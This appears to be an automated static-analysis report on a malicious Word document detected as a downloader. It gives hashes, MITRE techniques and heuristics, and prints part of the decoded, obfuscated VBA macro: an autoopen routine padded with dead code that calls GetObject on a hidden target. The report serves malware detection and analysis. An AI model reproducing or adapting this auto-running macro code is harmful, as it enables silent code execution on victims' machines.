Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4bd17a43b613fe24…

MALICIOUS

Office (OLE)

208.0 KB Created: 2019-04-03 15:14:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: afcb622bfe5a01a581d885f5e6eda90f SHA-1: 613b134452b8bdff5f3e6d5e343697925b378d41 SHA-256: 4bd17a43b613fe24e1b8ca88a1a6485e83fbf3847667198986cf5e86043d5477
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Sagent-6931261-0, indicating a downloader. High-severity heuristics confirm the presence of VBA macros, specifically an AutoOpen macro that utilizes GetObject, suggesting an attempt to execute embedded code. The VBA script, though obfuscated, likely facilitates the download and execution of a secondary payload, a common tactic for this type of malware.

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-6931261-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-6931261-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21880 bytes
SHA-256: 2719387d347c2f3909bc9165435170886c8eb07b44f640292d93253d50724ea7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "FADx_AB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "P1CDUQ"
Attribute VB_Base = "0{6E6A28C0-3AB0-4ABC-A223-04F801227DEF}{2F9B6F60-4250-4B17-A732-56B29D84AB75}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "kAA4wBAD"
Attribute VB_Base = "0{21B2F061-3648-43C9-B151-97EDC1F15EA9}{5D9C371D-AE93-476A-B50C-0D1FC66AA1CC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "TAQA4A"
Function aCU4Xk()
   If 804122234 = 455355484 Then
   VA4AAU _
= 131012279 - Asc(193038346) / 15415123 / _
552733587 * 242041119 - Rnd(q1x1QQ / CVar(389542237))
   cC_DBDA = jQGDAxAZ + _
Int(91161083) * wZAGDA - SxCxcx + (93403172 * 674609022)
End If
   If 184916761 = 873739349 Then
   tokACA _
= 299105530 - Asc(911615042) / 704186968 / _
488848136 * 846717808 - Rnd(zABZAA / CVar(828424368))
   BCGGwA = YBwCAkGU + _
Int(731838214) * WBcCABBG - rABAUBA + (596301302 * 252881902)
End If
   If 352183678 = 5257107 Then
   CAAQGwDX _
= 236523030 - Asc(731960702) / 297682107 / _
175916880 * 272608301 - Rnd(iwZBAXA / CVar(592233363))
   XXXQcBkD = uDw4AA + _
Int(298575837) * Po4wUAo - iAwAAQ + (214261850 * 20308167)
End If
End Function
Sub autoopen()
sAGcQU4
End Sub
Function sAGcQU4()
On Error Resume Next
   If 185472138 = 568074380 Then
   z4BQUQxk _
= 798673226 - Asc(83523597) / 91260693 / _
927102597 * 441782684 - Rnd(NDCAxoAx / CVar(574980968))
   iUABCwkA = OUA1AAk + _
Int(853164601) * fCAAAwk - IBcZUkAA + (241409861 * 148530622)
End If
   If 446413764 = 743317482 Then
   vAGQDc _
= 14843261 - Asc(333322542) / 827557919 / _
463813690 * 874034459 - Rnd(KxX4QA / CVar(729420678))
   jDcAQw = NXkG4BA + _
Int(365909287) * iBACACDX - vG4AUoAB + (795615282 * 56173127)
End If
Set AC1QAA4G = GetObject(P1CDUQ.V1xAA4AQ.Text + kAA4wBAD.wADDDwAw + P1CDUQ.V1xAA4AQ.ControlSource)
   If 557923183 = 326083491 Then
   pA4AkkxD _
= 692136250 - Asc(236939071) / 305232987 / _
524601102 * 518085385 - Rnd(VAoBwQ_ / CVar(259521323))
   VAoQUQ = U4cQxA + _
Int(890085211) * TABQcc - NGQoAA_w + (431770463 * 698923010)
End If
   If 522712418 = 381107864 Then
   F_Ao1wA _
= 729971347 - Asc(423068425) / 370233733 / _
86592715 * 233379510 - Rnd(zwxQAQ / CVar(148850870))
   CAUoAUAA = GQAUUX + _
Int(566950415) * zwAwAAAo - Dw_AU14A + (341529225 * 830451428)
End If
If 839425 = 839425 Then
   If 696838294 = 118360957 Then
   wABCwCD _
= 8977683 - Asc(931212011) / 543284403 / _
30351903 * 866915704 - Rnd(W1cQZCwB / CVar(630366485))
   OAQUAc = cADAQx + _
Int(454970456) * dBoUkAZ - I4BwDQAG + (963825142 * 336200655)
End If
   If 560684748 = 499936988 Then
   JcXABB _
= 501462280 - Asc(270185363) / 390905479 / _
923827650 * 704212366 - Rnd(HQkAAD / CVar(34995793))
   RAwAGDB = u_AwADG1 + _
Int(547248963) * OoZUAAAU - HAD4AkA + (942210142 * 896080398)
End If
   If 979791606 = 97706843 Then
   VAAAADB _
= 400043364 - Asc(482196343) / 156762356 / _
826018658 * 117948113 - Rnd(sBxDwCD / CVar(994127681))
   WADGoUG = qZGwQ_ + _
Int(765134456) * DX1UAGUk - tCxAAXcD + (266345749 * 887278502)
End If
AC1QAA4G. _
ShOwWiNdOw = P1CDUQ.PGAA1AXQ - P1CDUQ.PGAA1AXQ + P1CDUQ.PGAA1AXQ + P1CDUQ.PGAA1AXQ + P1CDUQ.PGAA1AXQ
   If 917993588 = 717391912 Then
   GQACQAAc _
= 426222297 - Asc(19063691) / 474859413 / _
267773828 * 28666785 - Rnd(jAAACB / CVar(788952038))
   NDAwXw = ixQGADU + _
Int(216363289) * FA1AA1AA - c_cA_XG + (446533397 * 188222115)
End If
   If 405224383 = 794566321 Then
   GBDcA1Cc _
= 986400084 - Asc
... (truncated)